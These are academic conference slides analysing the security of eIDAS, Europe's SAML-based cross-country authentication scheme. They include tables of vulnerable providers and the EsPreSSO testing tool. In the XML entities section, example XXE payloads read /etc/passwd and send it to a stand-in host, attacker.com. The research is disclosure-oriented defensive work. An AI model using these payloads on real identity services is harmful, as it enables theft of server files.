Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe

Nils Engelbertz, Nurullah Erinola, David Herring, Juraj Somorovsky, Vladislav Mladenov, Jörg Schwenk

Ruhr University Bochum
Electronic Identification (eID) Services

• Strong authentication with eID cards
• Usage in public and private sector
• Tax, health, education, ...
• Since the early 2000s

• Problem: interoperability
eIDAS

• electronic IDentification, Authentication, and Trust Services
• Interoperability framework
• Supports cross-country authentication

• Main standard: SAML
Our Work

• Security of eIDAS authentication services
  • Systematization of knowledge regarding relevant attacks
  • Comprehensive penetration test
  • Responsible disclosure

• Prototype tool support

• Part of the project FutureTrust
Overview

1. SAML
2. eIDAS
3. Attacks
   - XML Parsing Attacks
   - Evaluation
4. EsPreSSO
5. Conclusions
SAML-based Single Sign-On

1. Start Authentication
2. Start Authentication: SAMLRequest
3. Authentication
4. Authentication Token: SAMLResponse
5. Resources
SAML Authentication Token

```xml
<saml:Response>
  <saml:Assertion ID="456">
    <saml:Issuer>GermanIdP.com</saml:Issuer>
    <saml:Subject>
      <saml:NameID>Bob@GermanIdP.com</saml:NameID>
    </saml:Subject>
    <saml:Conditions>
      NotBefore="2018-03-21T14:42:00Z"
      NotOnOrAfter="2018-03-21T14:47:00Z">
        <saml:AudienceRestriction>
          <saml:Audience>GermanSP.com</saml:Audience>
        </saml:AudienceRestriction>
      </saml:Conditions>
      <ds:Signature Reference="456">
      </ds:Signature>
    </saml:Assertion>
  </saml:Response>
```
Overview

1. SAML
2. eIDAS
3. Attacks
   • XML Parsing Attacks
   • Evaluation
4. EsPreSSO
5. Conclusions
# Overview of eID Services

<table>
<thead>
<tr>
<th>Country</th>
<th>SAML</th>
<th>OpenID</th>
<th>OpenID Connect</th>
<th>Other</th>
</tr>
</thead>
<tbody>
<tr>
<td>Austria</td>
<td>Yes</td>
<td></td>
<td></td>
<td>OAuth</td>
</tr>
<tr>
<td>Belgium</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Bulgaria</td>
<td>Yes</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>Czech Republic</td>
<td>Yes (eIDAS)</td>
<td></td>
<td></td>
<td>NemID</td>
</tr>
<tr>
<td>Denmark</td>
<td>Yes (eIDAS)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Estonia</td>
<td>Yes (eIDAS)</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>Finland</td>
<td>Yes (eIDAS)</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>France</td>
<td>Yes</td>
<td></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td>Georgia</td>
<td>No (eIDAS planned)</td>
<td>No (obsolete)</td>
<td>No</td>
<td></td>
</tr>
<tr>
<td>Germany</td>
<td>Yes</td>
<td>No*</td>
<td></td>
<td>SOAP</td>
</tr>
<tr>
<td>Netherlands</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Norway</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Portugal</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Sweden</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>United Kingdom</td>
<td>Yes</td>
<td>No</td>
<td>No</td>
<td>SAML (Attribute Query)</td>
</tr>
<tr>
<td>eIDAS</td>
<td>Yes</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>


Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT’18
eIDAS Authentication

• Each country has its own eID authentication mechanisms
• Huge differences between these lead to incompatibility
  • Different architecture
  • Different protocols
  • Different parameters
• eIDAS provides a bridge making cross-country eID authentication possible
eIDAS Authentication
eIDAS Authentication

Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT'18
Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT'18
Overview

1. SAML
2. eIDAS
3. Attacks
   • XML Parsing Attacks
   • Evaluation
4. EsPreSSO
5. Conclusions
eIDAS Authentication

Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT'18
eIDAS Authentication

Security Analysis of eIDAS – The Cross-Country Authentication Scheme in Europe. WOOT’18
SAML Evaluation [Mainka et al., 2014]

<table>
<thead>
<tr>
<th>Service Provider</th>
<th>AM1</th>
<th></th>
<th></th>
<th></th>
<th>AM2</th>
<th></th>
<th>AM3</th>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>ØSig</td>
<td>CF</td>
<td>XEA</td>
<td>XSLTA</td>
<td>RA</td>
<td>XSW</td>
<td>TRC</td>
<td>CINJ</td>
</tr>
<tr>
<td>Salesforce</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td></td>
</tr>
<tr>
<td>Google Apps</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td></td>
</tr>
<tr>
<td>Zoho</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td></td>
</tr>
<tr>
<td>Zendesk</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Clarizen</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>SAManage</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Shiftplanning</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Panorama9</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>UserVoice (Marketing)</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Instructure</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>The Resumator</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>BambooHR</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>AppDynamics</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>IdeaScale</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Panopto</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>TimeOffManager</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>HappyFox</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>SpringCM</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>ScreenSteps Live</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>LiveHive</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>Howlr</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td>CA Service Management</td>
<td>×</td>
<td>×</td>
<td>✓</td>
<td>×</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td>1</td>
<td>0</td>
<td>10</td>
<td>1</td>
<td>6</td>
<td>11</td>
<td>17</td>
<td>6</td>
</tr>
</tbody>
</table>
Attacks Summary

- XML External Entity
- Replay Attacks
- Signature Wrapping
- Open Redirect
- CSRF Attacks
- XSLT Attack
- Recipient Confusion
- Certificate Injection
- Covert Redirect
- Insecure HTTP Session
- Signature Exclusion
- Certificate Faking
- ACS Spoofing
- Cross-site-scripting
- Insecure TLS Session
Overview

1. SAML
2. eIDAS
3. Attacks
   - XML Parsing Attacks
   - Evaluation
4. EsPreSSO
5. Conclusions
Evaluation of XML Parsing Attacks

- No valid ID cards needed
- Serious attacks; Facebook rewarded with 33,500 $
XML Entities

XML Code (example)

```xml
<?xml version="1.0"?>
<!DOCTYPE [
  <!ENTITY res "HI “>
]> 
<data>&res;</data>
```

The parser first „registers“ the entities within the DOCTYPE
XML Entities

XML Code (example)

```xml
<?xml version="1.0"?>
<!DOCTYPE [  
  <!ENTITY res "HI ">
]>
<data>&res;</data>
```

The parser determines the reference to an ENTITY
XML Entities

XML Code (example)

<?xml version="1.0"?>
<!DOCTYPE [
  <!ENTITY res "HI ">
]>
<data>HI</data>

... and resolves it
XML Entities

Are XML Entities dangerous?
XML Entities

Illegitimate File Access with XXE
Illegitimate File Access

XML Code (example)

```xml
<?xml version="1.0"?>
<!DOCTYPE [ <!ENTITY file SYSTEM "/etc/passwd" ]>
<data>&file;</data>
```
Illegitimate File Access

XML Code (example)

```xml
<?xml version="1.0"?>
<!DOCTYPE [
  <!ENTITY file SYSTEM "/etc/passwd"/>
  <!ENTITY send SYSTEM "http://attacker.com/?f=&file;"/>
]><data>&send;</data>
```
Overview

1. SAML
2. eIDAS
3. Attacks
   - XML Parsing Attacks
   - Evaluation
4. EsPreSSO
5. Conclusions
### Evaluation

<table>
<thead>
<tr>
<th>eIDAS Provider</th>
<th>Recursive Entities</th>
<th>External (Parameter) Entities</th>
<th>External (Parameter) Entities</th>
<th>SchemaLocation / XInclude</th>
<th>External DTD</th>
<th>File Exfiltration</th>
</tr>
</thead>
<tbody>
<tr>
<td>eIDAS Pilot Sweden</td>
<td>–</td>
<td>$\times^1$</td>
<td>$\times$</td>
<td>$\checkmark$</td>
<td>$\times$</td>
<td>$\times$</td>
</tr>
<tr>
<td>eIDAS Pilot Belgium</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>eIDAS Pilot Czech Republic</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>Provider 1</td>
<td>–</td>
<td>$\times^1$</td>
<td>$\times$</td>
<td>$\checkmark$</td>
<td>$\times$</td>
<td>$\times$</td>
</tr>
<tr>
<td>eIDAS Pilot Estonia</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>eIDAS Pilot France</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>eIDAS Pilot Norway</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>ArubaPEC S.p.A</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>Intesa S.p.A.</td>
<td>–</td>
<td>$\times^1$</td>
<td>$\times^2$</td>
<td>$\checkmark$</td>
<td>$\times^2$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>Provider 2</td>
<td>–</td>
<td>$\times^1$</td>
<td>$\times$</td>
<td>$\checkmark$</td>
<td>$\times$</td>
<td>$\times$</td>
</tr>
<tr>
<td>Provider 3</td>
<td>–</td>
<td>$\times^1$</td>
<td>$\times$</td>
<td>$\checkmark$</td>
<td>$\times$</td>
<td>$\times$</td>
</tr>
<tr>
<td>Poste Italiane SpA</td>
<td>–</td>
<td>$\times^1$</td>
<td>$\times^2$</td>
<td>$\checkmark$</td>
<td>$\times^2$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>Provider 4</td>
<td>–</td>
<td>$\times^1$</td>
<td>$\times$</td>
<td>$\checkmark$</td>
<td>$\times$</td>
<td>$\times$</td>
</tr>
<tr>
<td>Sielte S.p.A</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td>TI Trust Technologies srl (TIM)</td>
<td>–</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
<td>$\checkmark$</td>
</tr>
<tr>
<td><strong>Vulnerable in Total</strong></td>
<td>–</td>
<td>7</td>
<td>7</td>
<td>0</td>
<td>7</td>
<td>5</td>
</tr>
</tbody>
</table>

1 To avoid harm, we did not test the full impact of the attacks.
2 Only DNS requests were observed.
Comprehensive Evaluation of the eIDAS Swedish Pilot

- Offers demo services
- Possible to analyze further attacks like XML Signature Wrapping or XSS, etc.

- **No** further vulnerabilities found
Overview

1. SAML
2. eIDAS
3. Attacks
   • XML Parsing Attacks
   • Evaluation
4. EsPreSSO
5. Conclusions
Automatic Evaluation with EsPreSSO

• Burp Suite extension
• Extension for Processing and Recognition of Single Sign-On Protocols
• We implemented XXE and Signature Wrapping attacks for SAML
• XML Encryption attacks planned
Choose an attack for the intercepted message.

1. Choose the DTD vector
2. Selected DTD vector
3. Setting of parameters
4. Encoding of the DTD
5. Apply attack to message
Overview

1. SAML
2. eIDAS
3. Attacks
   - XML Parsing Attacks
   - Evaluation
4. EsPreSSO
5. Conclusions
Conclusion

• XXE is still a problem
• Many critical vulnerabilities are already fixed
• Our contributions
  • Best Current Practices for eIDAS
  • Automated tool for the security analysis of SAML
• More information
  • https://github.com/RUB-NDS/FutureTrust/wiki
  • https://github.com/RUB-NDS/BurpSSOExtension
  • https://www.futuretrust.eu/